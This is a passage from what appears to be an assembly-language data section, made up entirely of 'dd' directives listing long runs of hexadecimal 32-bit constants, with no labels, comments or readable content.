0E8524FBCh, 0A2160800h, 53017DD6h dd 0C22413EDh, 9804B38Eh, 0D6879642h, 6355F09Fh, 2FDCEDF8h dd 511F7FF0h, 2FEA419Dh, 5DC0A4CBh, 0E122759Fh, 93690444h dd 0A06B9142h, 15B75F41h, 2CA59241h, 0BA6C718Ch, 92E761Fh dd 93CC2CAEh, 2D935B2h, 1FF99506h, 7090709h, 58665870h dd 5ABA11B9h, 509BD7D5h, 95BD069Bh, 3F90E05Ah, 23C613B4h dd 17432C22h, 690A9772h, 0E6C9D8C3h, 0B542AE2Bh, 93641BFDh dd 0F1BEC6DCh, 8534FA03h, 30C35669h, 0CC5D3932h, 0E83FBE8Dh dd 265C5AA5h, 0AD71C049h, 4063DB20h, 5CBE5D22h, 0BC0CF750h dd 681643EFh, 4E3DB739h, 829DE70Bh, 8259301Dh, 78DB34FCh dd 0E894D878h, 1F488D66h, 61D7138Bh, 25D1AEF6h, 3CD84448h dd 0D30AD9E6h, 32F1B675h, 0E1B89734h, 4BADADE8h, 9B3493A4h dd 0DF1A81A9h, 96B0BDEDh, 0F95ABBF4h, 6F224C3h, 83614D10h dd 11BB5506h, 0B5397C3Ch, 5D124E9Eh, 0FAD092CEh, 4D7B26FEh dd 0AFB0AC7Ch, 0F84AFC8Dh, 0D8230F41h, 0E53CE250h, 0E02391EFh dd 372C8141h, 0DB666E37h, 1C8A8DBDh, 0D43A0A64h, 18C604F7h dd 96D0B402h, 79EDDA06h, 1729FFC8h, 72A2680Ah, 0A4C6B5C0h dd 0AABC94A5h, 1C1D4E56h, 11EF02Dh, 4BA4FE80h, 0A139BFAh dd 3D770740h, 5B65FBD8h, 8D6CA2FDh, 0F6E5EEF8h, 4EF70BB9h dd 932FA7CDh, 0C66FCECEh, 3ABDDF48h, 0FABE9F3Fh, 39FCE39Ah dd 0CDAA4383h, 76F24387h, 94CA9BE0h, 0D25D08FFh, 0C9820F6Ah dd 0E798A836h, 434110F9h, 1B47D933h, 4DBD1485h, 0C8EE50E0h dd 2405DA2Fh, 7256EF5Eh, 525125F9h, 44E6BAC4h, 0E78289E7h dd 1942E292h, 972349C8h, 0A1B9A4E1h, 0BA8BD351h, 0FCE57276h dd 505CBCF2h, 0E3B00D95h, 1A472471h, 860C3F73h, 0FE03425Dh dd 78B70FA3h, 86DF0B80h, 18F898CAh, 9A5845BCh, 81B22816h dd 0C9F6302h, 3B65AF59h, 4F911130h, 0EF85EDE6h, 96E7FA8Ah dd 9E28E7D8h, 8435378Ah, 6BA3674Ch, 5B03AB67h, 0FE1B8F2h dd 239572DBh, 8D130FE7h, 0E0D7871Bh, 32C720Dh, 2DEA876Fh dd 8D472A2Dh, 0AC9200E8h, 0F399A25h, 0A4361FB2h, 24161E34h dd 0FF7A425Bh, 0F49716A4h, 24EC556Dh, 31A79DD6h, 123211CBh dd 8AB71FB2h, 0A96999DFh, 0CABD2F7Eh, 64AE3049h, 5BA031DEh dd 0ACCEFB89h, 0D85A19F5h, 960D0270h, 5BDED1ECh, 7F843EE9h dd 1F64AF66h, 7754AB3Fh, 0F0DE99AFh, 56A12740h, 0C8AA67A4h dd 76DCBCA5h, 0B6B360D9h, 0D617A24h, 14A77959h, 0C7C6E723h dd 9E16BF6Ah, 1DFC9124h, 0A6A703B2h, 94A8293Ch, 4B6FBF8Ah dd 78B27149h, 57EDB37Eh, 0B8742770h, 0E6C5F45Dh, 0B2044DA9h dd 3D8C4485h, 0D933C6CCh, 7621D843h, 79F10F83h, 36D1F3F1h dd 1633AB52h, 4601AE55h, 55539001h, 1D9FECBCh, 147C417Dh dd 0E12EAA75h, 0EF1023AFh, 0AB8CD8Fh, 7C03C4B6h, 42C8E2DBh dd 3602F2A5h, 0B81590A1h, 0E9D3185Dh, 59CEBE80h, 0DF1F6690h dd 35440846h, 0EA2C87BAh, 7FFD7CB2h, 9D210DD6h, 55551234h dd 0B9CE1FD2h, 224ABADCh, 98B1D8D4h, 0B8592034h, 5921255Fh dd 9C7A4C96h, 0F3D44C29h, 85973A88h, 0AAD6B649h, 7512CF39h dd 0E1C4AC2Dh, 5BD52B6Dh, 2297A3F7h, 0BA5A3621h, 0E34A7E04h dd 0A43D35F3h, 0C7E69A50h, 0FFD6FCFFh, 7E4F9D15h, 0D105F477h dd 43AB4C10h, 66106DEDh, 8C55408Eh, 0DF597D2Ch, 44CB78DBh dd 0DA3C0293h, 0B26CDE47h, 22EB6FC1h, 3E378AE0h, 2EA22B9Ah dd 0D6113D46h, 96D711FEh, 0F92E89F3h, 0AC0BD839h, 0C9DE8C7Ch dd 2B4E531Fh, 9501F33Ah, 19306E78h, 62397964h, 244E1AA4h dd 702D61DAh, 0EF5BC90Fh, 8AE6C4A1h, 0AFAF938Ch, 5665F8CFh dd 8A34AFBDh, 8CCA257Ah, 99988291h, 507EF7BCh, 0B8FDDA03h dd 0C8E4D4E7h, 0C817F6D1h, 0B55170EAh, 24DE0E85h, 9949A512h dd 6586C47Fh, 0AE6F032Fh, 0BBD732BDh, 0A8FB3C47h, 0E4655CA1h dd 0C955FD1Bh, 0C90850DBh, 0CF6865D4h, 0EC56E20Fh, 0B7C18A08h dd 0C2A9914Dh, 0F6730CD2h, 0B73F3452h, 0AF2482E9h, 0AB68BAAFh dd 0CD2B5F5Ah, 4E352EAAh, 2C678168h, 9F279893h, 0CB291120h dd 0BE47DDB9h, 0DA7B097Dh, 71D0C4DDh, 59897057h, 54F2F89Ch dd 0A93E5958h, 9723FEEFh, 414D1C59h, 42AB0F5Dh, 0A28D89ABh dd 2C01F5EAh, 1312A5F8h, 38DB522Fh, 0F475209Ch, 67465632h dd 368A68BEh, 740E0289h, 4ADA13BAh, 0F43B6F91h, 35DAB158h dd 0B3BCFDA7h, 43983212h, 82A5BD85h, 8A049181h, 5725D376h dd 3DCED896h, 0B0270B80h, 2C734F7Dh, 33979587h, 4EF9C087h dd 7B65D8B2h, 240206E3h, 0B26BAC1Bh, 4CA3DFBCh, 0B167A0ECh dd 318D720Ch, 0B4168DEFh, 9A3357E4h, 5D00890Fh, 62FA63E9h dd 0E45E3974h, 6D2C471h, 0F814818Fh, 0A7D52FB1h, 6DC6C02Fh dd 10FEA8A9h, 0F877F216h, 0F96D7353h, 0EBC0A399h, 84E95205h dd 0BEF77B53h, 3E27F7BCh, 188371B5h, 869AE158h, 7F055017h dd 731BEE7Ch, 668CFEA7h, 1FC8BA1Dh, 380D6D33h, 552E0D4Dh dd 8F9398C2h, 2D8C9CBBh, 0D3BC015h, 1FC6D480h, 0C62C829h dd 43B64CDCh, 98513AF3h, 62AB5DB2h, 9103B9E9h, 9D3889A7h dd 0CBABFC7Fh, 1160AD10h, 35A7988Fh, 2C948E1Bh, 1626642Ah dd 466E55F2h, 72BEDBB9h, 0F788ABF8h, 21C5E70Bh, 14C52379h dd 0AF528F46h, 0E8981D8Bh, 0BFCA7981h, 6DA635D7h, 4F0D4E2Fh dd 5A6EBC2Dh, 0D9504948h, 5BFC92E0h, 3454074Ch, 3B4BCE44h dd 78FD2811h, 0F3724205h, 0B3672761h, 79C2717h, 1A79DC19h dd 62E0307Eh, 0F5CAF7B2h, 0ABCD2BB2h, 70DC4C6Fh, 811C2C76h dd 97B5DA0Dh, 0A0A3406h, 2CCA60DAh, 25E1B5F3h, 0F0FDFACEh dd 83393CD5h, 0C4330826h, 0B29A3BA2h, 8351E347h, 11CFB97Ah dd 7991BE17h, 0B3E514CCh, 943D492Eh, 51D197Eh, 675D378Dh dd 74673E1Fh, 4BC361A6h, 0B0EE5BF0h, 0F452E4EAh, 848BDC3Ah dd 5E3EE7B7h, 92772F8Ch, 758ADDF8h, 0F1A4B5E5h, 0CA1669ADh dd 0B804E3F0h, 0DBB2F613h, 0C94ACC3Ah, 0C6E78691h, 0D9B43173h dd 0DEA1FB64h, 0EE9986A3h, 0A4EA63BBh, 0CE2AC994h, 9343ED27h dd 0FFCCDAB9h, 0DC90354Ah, 93CB301Dh, 829738BEh, 2EC9F910h dd 5AB36278h, 0C90AF695h, 1B7B9BACh, 0FFCCDDF2h, 252AD043h dd 46673022h, 0FFCAB341h, 0A11C42ADh, 0A09D3A4h, 19AA2CEBh dd 3B0266A7h, 0A4D193C3h dd 3D581455h, 8C5F9030h, 4CC62AF1h, 0ED4B90DFh, 69BEED16h dd 0DF3FD96h, 0D4E188CCh, 0FA3D8F40h, 666BB5EBh, 919BA6C9h dd 0E86FD8A1h, 0C0160C8Eh, 0FCD24959h, 64214A4Ch, 5F9096C5h dd 7A616A83h, 0DC08FAEDh, 18D7A24Dh, 72FAE2FDh, 0C6B6DEB6h dd 13C37F87h, 0E779DFEFh, 128D9478h, 8CC4AC1Bh, 0DBF1B38Fh dd 0ABB8F617h, 40142004h, 0FE17EBD9h, 0DB71029h, 21E92720h dd 9BF88E69h, 58F60DA1h, 0D36CC17Ch, 804877C0h, 0B9330F08h dd 763FB6ABh, 8D2A2971h, 0AA544092h, 0EF46197Ch, 7B137C99h dd 245678C3h, 5440971Ah, 0F75600E4h, 2B8828D0h, 0EC2D7B00h dd 889A5D78h, 3AE5C165h, 87513AFCh, 0B5EED68Ch, 78ECB100h dd 543CAB86h, 0FCAFB5F9h, 6BD6705Eh, 996A2E02h, 4CB90907h dd 48CDDBEEh, 0E7938E5Ah, 3FCA64B4h, 0DD87ABEAh, 47CD852h dd 98E4779Bh, 1D1614C3h, 497D1BCAh, 0C25173F1h, 0B48AE911h dd 7BF8569Eh, 5D0E7EEDh, 74E04794h, 0E4C333EEh, 0CC0E9F85h dd 0B1A13CFBh, 4B1B62ECh, 0E1D4966Eh, 107FFBB1h, 0DD4FF960h dd 20519F38h, 8AFBE71Eh, 0EFFC3348h, 8DA8125Fh, 34EA3DFh dd 18020EEh, 0E4DB8CE4h, 0F2C077B6h, 4A1A2463h, 3DD7BC71h dd 8A5BE5F1h, 0C428AEC2h, 0CD0026E5h, 0FBFBFD83h, 0F2DD3756h dd 37DD97F6h, 8B1874ADh, 9DF77A56h, 13D9B4B8h, 59802ED8h dd 6A74440Eh, 0E5AC66DEh, 8366F9E7h, 883DFDB9h, 5F641425h dd 0B614655Ah, 9A97F87Eh, 80BB77F3h, 0BC6369E9h, 53B9FCBCh dd 58C8157Ch, 0ACE59E48h, 0D4D4136h, 2C19543Eh, 1D04D172h dd 0D1DB6E5Bh, 92EBD9ADh, 7A8B0319h, 893AA0B3h, 0FC5CAF02h dd 227DE5C2h, 3B411AD3h, 86D33E5Ch, 540AA1BCh, 6395C7C6h dd 977CD540h, 2AE1EA6h, 0DD559D5Bh, 0C5B1C67Ch, 3F070C16h dd 9C8F90h, 59FA8134h, 39772F86h, 4AF5490Dh, 0C69CF8A9h dd 48B2F30Eh, 20FC7F9Dh, 6B47DE1Ch, 6FAC1D8h, 0E232188Bh dd 536BA6E6h, 14137387h, 999F61F6h, 41DBCED8h, 0EA4B3C0Ch dd 4D12DC0Fh, 0D0FA94E8h, 0E93D40E3h, 9CA88C9Dh, 0BC9B684Bh dd 0FB670457h, 0EAF898F5h, 0A36996C5h, 0FE554A3Dh, 17BE8FE8h dd 0EA75CD14h, 0B59D3FC9h, 0AC11350Ah, 58C9EF12h, 86200C02h dd 6F1FF4AEh, 2F6F4DDEh, 0F5F68541h, 1E9AD65Fh, 21F66957h dd 6E0CC074h, 3B85910Ch, 46D90429h, 0E3ADB33Dh, 5EC518B7h dd 2979B21Bh, 0F16E872Dh, 0D58D7E4Dh, 2B162C28h, 0C7518FFFh dd 0A68E5D90h, 9559559Dh, 746AEC1Ch, 7E817B60h, 0AAD77AD8h dd 0D5E0DB18h, 3DF2061Ah, 0E757BA5Fh, 2111DC23h, 0BA1C9F3Dh dd 2DF8BDD9h, 0B8FCA2B5h, 66FFC5EAh, 0C9196117h, 0B70EBEB8h dd 0F27741C2h, 622E9179h, 1F9C42D7h, 8852C603h, 6924F104h dd 0CF7C094Ah, 0BC59D821h, 902FB38Ch, 7EA2BEC5h, 0C3200678h dd 3522640Ah, 0D8611840h, 0BD2FD8A8h, 68BEEDB4h, 1A5A586Fh dd 1F4594E4h, 3B98FCC7h, 0C5D2E06Ch, 75F08CA2h, 1AC6A25Bh dd 0F595FB7Ch, 8EFFCF09h, 6C9BCD6Fh, 789C0C19h, 0F8AA7F38h dd 4F3D9272h, 0C37188DAh, 600F3A9Ch, 4A24648Ch, 0FB21199Ah dd 0E24FA30Fh, 4CB8B5E3h, 0BBA79E34h, 0AD4F7BE2h, 93CE9AAAh dd 6E6F928Dh, 4D960111h, 5AE19905h, 0AC1669EDh, 0E6B47E11h dd 0F393B735h, 157938E0h, 59410D67h, 33D32ED2h, 0F27A167Ch dd 6CAEEEC3h, 96E741A6h, 3D08DC0h, 4B3F9008h, 0CD6CD93Eh dd 5F614400h, 1946AE28h, 0F1000F55h, 535FFE1Eh, 0F04A6D37h dd 0B27F173Fh, 0B6D62004h, 933AB653h, 69654A8Ch, 3BC6CD35h dd 639DA11Bh, 5EDDFD33h, 2369605h, 57DCDFCFh, 17C52997h dd 8455DA3h, 11A469CFh, 0B380C9C0h, 0B62E6965h, 207A5454h dd 48CD28D4h, 0A683868h, 3E1D2DACh, 5F4B5D4h, 0D2D6E625h dd 63729F02h, 5D3F9054h, 8E02DEF2h, 0BBF3A7C8h, 0E0D62FDCh dd 0A7B0D236h, 0BA46CB39h, 110D853Dh, 0BCF2CCB4h, 0F2A355C7h dd 0B9F66B38h, 8A8C7582h, 0B865DA37h, 0A3996C8Dh, 0A3EA4977h dd 0D6753EE8h, 667A6B09h, 0D4848B5Ch, 0EADC6F7Bh, 121FF0EEh dd 0A2EE920Ch, 0A02C835Ch, 0EA8CC17Ah, 97A54151h, 0C7820FBBh dd 0CC11F82Ch, 0D7EF5F65h, 37A0C453h, 4D81EAFDh, 5A9F25EEh dd 0CAAEDBE6h, 97400BCCh, 6225D161h, 66392DE5h, 7D63344Ch dd 5B8A6EF8h, 33643D03h, 19C2A507h, 0DE7624A8h, 0AB599EB0h dd 760B3928h, 0B8D609D7h, 5BFCB2F4h, 0A05C8414h, 0B47738E2h dd 0BFD9A9D6h, 409591F0h, 49602825h, 7A1E71D8h, 0FF3CEBDFh dd 0B55AA012h, 0FF62930Dh, 465F59FDh, 9BB9AFB4h, 0DDAA8D6h dd 0DBA531Ch, 3919A55Dh, 36DBD73Bh, 0E6F4F39Fh, 7189A5Ch dd 2270812Fh, 0D1D78982h, 0F33D7C6h, 5F7B49FBh, 0C784E4B3h dd 62A7BDD8h, 6729AFAAh, 8D7D989Ah, 0FB140DADh, 213298C1h dd 0EB22A845h, 0E5E48AA1h, 0C7AC9EECh, 0C86E5F63h, 0AFA1DCF7h dd 6F291104h, 4C0425EAh, 48976D8Bh, 3E3097C5h, 396BFEF8h dd 5D304053h, 972D0FFBh, 0D2D5AFF1h, 8C8C0BDCh, 24E33234h dd 5D38A4EAh, 0C62D46FBh, 65C062CBh, 0A6649598h, 3F2BD7D0h dd 0D243C2E4h, 0D7585CA2h, 69D4DF34h, 535AC5D4h, 76465A9Fh dd 7B1FC53Eh, 81B290F0h, 0B80D5A09h, 4E370015h, 2E54CF7Dh dd 2760B361h, 6122731Dh, 0E95C7ACEh, 208A2CD9h, 388036F1h dd 9A12F720h, 5C1CF0E0h, 2D925E85h, 0BD2CFFDFh, 235B1512h dd 7F09E190h, 7C3818D8h, 0D8A2BE8Ch, 3E8C23D4h, 44489DD2h dd 0F359E18h, 0CB42602Fh, 65297DE6h, 50057C09h, 0BDC8C66Bh dd 541749EEh, 0A0644156h, 95AF8223h, 0AA94EB42h, 0D2E0198Fh dd 0AF8FDDA1h, 0CDDD303Ah, 0EFC20DC3h, 0EEA3A498h, 14789F2Ch dd 0E85A1008h, 77869086h, 4CC54E7Bh, 6C61E8E8h, 2744B970h dd 0B89731DEh, 64868B9Fh, 0F072D72Dh, 23BE3A9Dh, 8E5E005Ch dd 4905DC87h, 8DB4D3F5h, 25F47582h, 33109CA4h, 6B059CB6h dd 0EDCF445Dh, 9FD9A827h, 4B9CA8D2h, 0BE85179Eh, 755F1D09h dd 0AB52182Ah, 0F39F8975h, 40628B9Ah, 0FF9CFAA6h, 15F0A8B0h dd 2D405B52h, 0E3604BC3h, 0EC8921F6h, 7683FEDDh, 0FC2B4E68h dd 7D67FA5Fh, 0B9386A1Bh, 0CB762664h, 0B729C3C0h, 0E83AA7C5h dd 927F775h, 0D77EDC80h, 4213CBBh, 47DAEF55h, 0D0D745EAh dd 0A081CE59h, 93BF05FBh, 1E681EB5h, 9D257F75h, 9BA8D45Fh dd 0AF7365C1h, 0F7BAFF99h, 0A33097B6h, 93EEF68Dh, 8A914583h dd 0EDB1F46h, 26E16F2Ah, 0FB7A0161h, 83FCD330h, 74A2CCF4h dd 0B5A8415Bh, 166025DEh, 0CA88431h, 0ACFD9E77h, 0F0178Bh dd 0E25DDB85h, 0B3E60B67h, 0A13CE0DAh, 17ABBA38h, 38C683C5h dd 7B564DF3h, 0D3451488h, 0DD964019h, 0B1200D8Ch, 0D7CA38B4h dd 49DBCBBEh, 0E41EA5E6h, 9AF3EACDh, 0B1F29409h, 45DF8B13h dd 0FF7C30AAh, 67E41890h, 72DAAE8Ch, 5CB85E22h, 0A8341A17h dd 3B72F3D5h, 0BECA5591h, 777774B1h, 0D771D064h, 600BF512h dd 8BABE17h, 0E0294DB9h, 23D7BAEFh, 1F7FD71Bh, 58DA5214h dd 0F5D8D5E0h, 61BE79EFh, 46DEE7A4h, 98EC6B55h, 2118A72Ch dd 7DF7DCB2h, 1C1944C4h, 0D327014Eh, 10562F80h, 3CFE5FB7h dd 0C5CFC619h, 23CC0F13h, 0D216CD9Eh, 9A0CC1E1h, 0A7BCF5BFh dd 0B3A0382h, 0DECE6F39h, 1D7786DEh, 4E1D2610h, 0E1DCCA0Eh dd 9D579743h, 30540F94h, 959D461Ah, 0BBCE9DF3h, 0E8237E91h dd 0A4C28579h, 0F7711CCCh, 6293C40Fh, 4FB9674h, 18670418h dd 94370839h, 128AEC25h dd 5BC4C5AAh, 0CD7E8CB7h, 39AF0F6Ah, 0CC129C8Dh, 0ACF61A39h dd 0AA605FD3h, 5C33D4F8h, 48DFAAF4h, 3ACEF89Bh, 2E973A52h dd 95E89D99h, 66F3844h, 1912A207h, 0AFE3591Bh, 5DB22C5h dd 0B3B164FDh, 3DEBD6B4h, 6E21320Eh, 262052Ah, 0BE02801Ch dd 0FB00939Ah, 0C5EF02FDh, 0CFEC675Ah, 0C61E3548h, 0C0506132h dd 0D523B577h, 6951AC21h, 0C541E6A2h, 370538FCh, 95F3C295h dd 62199345h, 7BDAD7CBh, 27C55507h, 0B7639C2Eh, 0B64F5577h dd 5BC88F10h, 0E94F6DC3h, 49EDE319h, 670E4C6Dh, 82BF11Fh dd 79C51DBBh, 5D50237Ch, 933C1B7Eh, 0A7F296B9h, 2081DDBh dd 53AA2639h, 520518E9h, 91728E78h, 0E0D2CA8h, 920BB10Dh dd 0E4D3BC56h, 0D05C712Ch, 6A5309D2h, 5480F867h, 0F07167E7h dd 6D523CB7h, 0C35980EEh, 72E5C01h, 6A0896C9h, 4E3FFC49h dd 9949B536h, 0D4054C3Bh, 0B0CD1539h, 5A428CCEh, 9D61FAEAh dd 9AFA9DA4h, 5FE38CE6h, 3F87B3BEh, 0E8531A81h, 9DF093BEh dd 39FDC75Bh, 4F1C6D72h, 5BA61F6h, 0B7AD76h, 5CA4902h dd 6ED0D4C5h, 2F9DB9D8h, 52360E93h, 48814475h, 0BA1E4BDBh dd 1A1413A2h, 3948D774h, 4700EB8Eh, 6972D4C5h, 393B03FEh dd 33B6746Fh, 466B216Ah, 776F8D7Eh, 0B24EDADh, 3DC9016Fh dd 24C9D399h, 0EEE6D3DFh, 0F7C3F927h, 0AB18784h, 0E7C8D18Ah dd 1ABADDB8h, 0F6CEC779h, 367456C0h, 739BB894h, 0DA19005Fh dd 0FCF32F8Ch, 29B097A7h, 50A2B4F1h, 26210CE8h, 6547854Fh dd 0FF4E29BEh, 1142CD21h, 0BC0E54C6h, 70BA4C81h, 3E6B3357h dd 203D3FCEh, 9A68C35Eh, 7EF9B4FFh, 8A810A93h, 1689EC92h dd 8D831EBh, 0DD8C4538h, 0A8519F04h, 6D3628Dh, 847B9C7Bh dd 4DBA933Dh, 0F05C4CC8h, 0E808531Dh, 0A02145B1h, 0E5ACC65Bh dd 5E8D7FECh, 7C3BF2ECh, 0DF93080Fh, 70F4D751h, 713DFA24h dd 0E704709Dh, 0E63CB1BDh, 4716E767h, 95F0420Dh, 3D70B8EDh dd 607DD00Fh, 39EB90DCh, 2AF8686Fh, 48902840h, 0A546BBCFh dd 82E9A3D2h, 0E5BE20F5h, 0FF2060A2h, 82BCA11Ah, 38781C2Bh dd 61A7C3A0h, 4F29CE0Ah, 59DC9747h, 0C1349D53h, 0A8F756C7h dd 8184C482h, 169BE99h, 447E819Ah, 0E39C6F2Dh, 0FE39C839h dd 942D71B8h, 7CCA0EEFh, 8CCFE162h, 94E8767Ah, 0B57ED4D2h dd 55BED46Dh, 8D0B7178h, 3B7FE9A7h, 7B1B5ACAh, 0F78ECA9Ch dd 3DF55684h, 0AE40A13Ah, 0A1354975h, 292CF99Ah, 0EDA4B8E2h dd 0C7639C47h, 0ADD76BB4h, 0BEFEAAEFh, 1B0B388h, 8BEE1A7Eh dd 0DFE21294h, 0C48B85CCh, 7DCD0C77h, 0EADEF8C9h, 0FD64D119h dd 7712E007h, 0F9883EFEh, 0D160ADF1h, 71D36A37h, 0F92D9B77h dd 8551D7D0h, 0EFCE8D6Eh, 6890A5CFh, 0BA436A2Dh, 446095E8h dd 7C22022Bh, 0EC4EF91Eh, 7EE3874Fh, 0C1BBB737h, 1C8E704Fh dd 35ADF307h, 93278FCAh, 7465895Bh, 1E82A17Dh, 7DFAAE25h dd 328F14Ah, 7B181108h, 62472354h, 835E7D17h, 32DDA28Bh dd 43B64047h, 0E3DE864Bh, 0F1E94EBh, 86D86D17h, 758AFDD9h dd 2C5D9FC3h, 0F951A111h, 554E671Ch, 834EA4EDh, 8C665C2Fh dd 1CAC68A9h, 0ACE05B92h, 4DE8017Dh, 0E05B3736h, 8C0C606Ch dd 8DC010D7h, 2F4DC35Dh, 0C96201A8h, 0A54B3102h, 0C7C036DAh dd 0D4872BA0h, 81EDA76h, 408DE0B8h, 0FBDDF7D3h, 1FF5EA2h dd 82A2A35Fh, 0F1448049h, 192282A1h, 123B25F8h, 6F92B9Ah dd 705EB9BCh, 0E2B908CEh, 0BE1E7ABBh, 75BEC997h, 87791E33h dd 19CFC3D7h, 0FBEE3D35h, 0A9BEAD79h, 0ADBED94Eh, 1433B995h dd 451E4A22h, 9A51013Eh, 0F52C445Ah, 0BB1B7F49h, 5F8171F7h dd 0F54ADA0Bh, 37404DDEh, 676BB4FCh, 0A4BA07EAh, 32BB580Ah dd 149B74E5h, 0E35C4037h, 0A0EAE1C6h, 6E0B4D3Ch, 4C47FF37h dd 5F217755h, 2714905Dh, 0E377C5DAh, 8CA77E67h, 470F85D9h dd 8D66C9D6h, 0F91999B3h, 216BF8C6h, 5E2AB1D4h, 17997DA2h dd 0BA7B2000h, 0E342F759h, 0A0100846h, 0F6FDC16h, 22677C21h dd 0B2C3F9B9h, 2637DB32h, 2FA9E398h, 0CE16FCD9h, 5B50CDBAh dd 8412C6B8h, 0ADE9E878h, 0A9FC70C3h, 0B0FCFD6h, 0FD827361h dd 4B330154h, 8881670Bh, 359886D3h, 3BFA0CD3h, 878C7D77h dd 5B41476Bh, 7FD360E0h, 4804C1DAh, 7BD2EA80h, 468CAA83h dd 5BC67EF4h, 3B8B3D66h, 0C6DCE5EAh, 6B2FF832h, 801A0734h dd 81B372F6h, 0B2B8470h, 7A1D328Fh, 99C8EE90h, 0D8D7E82Ah dd 841DD7B4h, 80E670AAh, 0E262ADCEh, 330FFC30h, 56DF4DE0h dd 78AF3A30h, 78E9A43Ch, 4649C499h, 0E2EEFB94h, 0D515DA02h dd 1660F891h, 0EC0FB7FFh, 14E0C442h, 3B1C423Dh, 2926EE4Ch dd 9384BE3Eh, 270CF9F1h, 0CA036E98h, 0A90C77AAh, 6F2D6948h dd 2250C22Ah, 7F90D25Fh, 8CFBC4F4h, 0BC3DC652h, 849403C3h dd 0FD26C21Fh, 4170E084h, 7B13F7EDh, 8AE02C96h, 2F13EB08h dd 0C0CE1A47h, 0E78627BEh, 409E2995h, 48662EFCh, 6804F099h dd 769F12FDh, 0C282A32Ch, 0FABCDD18h, 0F743F8B3h, 0C1E6D3EBh dd 4C20B958h, 4CC63080h, 687580F7h, 24C40698h, 0E9208161h dd 3F01C17Dh, 0FB03720Eh, 0BF829510h, 98559B69h, 0A633258Eh dd 67C7BC49h, 0C4FBA561h, 0BBD3B2ABh, 8DFD18FEh, 4F991E03h dd 0CECEFCFEh, 267091B1h, 4C51A794h, 8BE207D1h, 0ED1ADE6Ah dd 46C6D8D4h, 1AAAF6F2h, 600192D3h, 5C93293Bh, 67076E38h dd 0E577D10Fh, 0A849F1BAh, 0E3E91353h, 0A19B83B9h, 89B1BBBEh dd 0B586CD76h, 8A04B61Bh, 95812A7Ch, 0BDD1B367h, 0EEE29F4Fh dd 0CEFBC6BAh, 0CE38FD29h, 3AB56E74h, 821925A0h, 0A3F9C0F5h dd 0EAEF1AD2h, 0E4E540ACh, 2803B830h, 81A1F80Bh, 3E3EC89Ah dd 9C834863h, 8FCA2A3Eh, 0DCC0B07Dh, 0BB32849Bh, 0E4757C5h dd 0E713F942h, 49D8CE46h, 0C68CD575h, 378BDA75h, 0EDD51E2Bh dd 47754623h, 858F860Fh, 5862CB5Dh, 5825C685h, 21C87583h dd 97BC195Ch, 1217FAFEh, 548AE2A5h, 491EDC28h, 691D3F0Eh dd 9F4AF1ADh, 7EC4F231h, 1C39D2E4h, 0CEB8EF6Ah, 5DB1A2ECh dd 0B69B1D7Ah, 1C32105Dh, 6ECB53D8h, 0C52F98B3h, 0F7C61617h dd 594DD91Ch, 0DD4DD6B4h, 5AA1136Bh, 0A101E584h, 5EB000Eh dd 958B0E8Eh, 429B4487h, 6CFB4002h, 64CD0E2Ch, 665436A8h dd 0C84DC3F5h, 0C60DE992h, 9BEA58AEh, 851977B8h, 0C48E9453h dd 9994ACF5h, 0E7D3BC6Eh, 201B5124h, 96DC70D3h, 79F29301h dd 3B164DC1h, 0E981FE57h, 0E38E07A7h, 0D55B0FBh, 5EA9C7B6h dd 2D633556h, 0E8357A1Ch, 0CA56A527h, 20E69026h, 0E2D775E2h dd 8EE645B9h, 6239C508h, 0D48A605Fh, 0E1306665h, 68847536h dd 0A3FD6485h, 26509DC9h, 8EE788B1h, 0D24845E5h, 0C55C5FC8h dd 0F2FA65F6h, 729E73D9h, 72337449h, 78437129h, 85D18D6Dh dd 0E12B1A85h, 0FA7E1542h, 8E124725h, 3B974399h, 0C2604251h dd 1CC05C09h, 0DAFF3B94h, 0B6EEC2D9h, 0C09CF4E1h, 0F0C0C1E5h dd 0CBE12214h, 0CDB9C01Dh, 8668C8D3h, 72F36AAh, 0FABF23F1h dd 2BD3CD30h, 301493C4h, 38FD3C7Fh, 0AF4B9F9Ah, 4960C45Ah dd 0E6C8DACAh, 0AE6A0B95h, 202487B7h, 6B84363h, 0DEA81091h dd 0DA7DAE3Fh, 0F46D66AEh, 68648996h, 0A1D3C2E8h, 575A77B2h dd 9885EDF3h, 0A76C9265h, 50BA8D36h, 0F6663AEAh, 0A1280C69h dd 42B41AF1h, 8DBD7DBAh, 266C5C2Eh, 507C547h, 0AD7A2310h dd 57035F1Fh, 1A129473h, 79FDCE8Eh, 0FCBD4777h, 0C3B58C82h dd 0B700598Bh, 0DE016283h dd 0C7674E61h, 9B1ABBF4h, 5628D784h, 0CDFAE93Fh, 57997BA4h dd 7E374899h, 20B0606Dh, 0C64D1F47h, 0DF1E53EAh, 0E736CD4Eh dd 39FD66A1h, 0F07CCC12h, 3B4434DBh, 917EDAA2h, 9513A04Dh dd 0D0219266h, 3770B1CCh, 0D7D30236h, 0F7D35E65h, 9B833B06h dd 0B1E1C580h, 83119ECCh, 0F1FFBD75h, 59937E49h, 2A8BE593h dd 2C366313h, 6ED50D23h, 1E5464BAh, 86982D7Dh, 0D65B9883h dd 0F774F18Ch, 3BF33F92h, 4B4086A7h, 0A6882AAAh, 16351D5Ah dd 18FDEABDh, 114DCF9Bh, 0F2D0F667h, 1CFEBA86h, 0B375AA41h dd 0C2479421h, 91CD62E3h, 0BD4B64D1h, 1BF5FD47h, 0AE32D949h dd 32C1B2D3h, 0B35F06DBh, 690399C3h, 6DD194ECh, 0CB51BC9Ah dd 71BD6DACh, 82F0B70Fh, 896B5983h, 615D8C22h, 50E95DD4h dd 0ACF57BF4h, 55C41E69h, 0C5FDF892h, 59A74B10h, 974673E0h dd 66CAB51h, 84DF34C8h, 0B62CC154h, 6133DF73h, 4D40C330h dd 0DAB1FAFAh, 54EC0DEFh, 0B44EC2C9h, 1E96A9ADh, 0B63ED572h dd 7631EC07h, 0A2570B47h, 0AB71531h, 769344A2h, 0C25B0AE3h dd 0B7591792h, 0E98555C0h, 0FA747999h, 3B9A7290h, 0CC24FCABh dd 7A223E35h, 0C073D52Eh, 0E35C216Eh, 78E12092h, 2A7F59ECh dd 0CE6CF184h, 431D538Dh, 7E45F763h, 8147DDE4h, 0F1E5F101h dd 6939A2D9h, 3486AFFBh, 0D423257Fh, 4CAF04E7h, 55C46B72h dd 3313E5Ch, 75552BF9h, 6B108101h, 0F4BCEB20h, 665C30BAh dd 7A78B970h, 6A2C423Eh, 7D584E49h, 0B9F9BAC9h, 44A02AB2h dd 0F7E316BEh, 0CD1CCE02h, 0AC15E993h, 0B885D49Ah, 3BD450D3h dd 7ADEB499h, 31D5A54h, 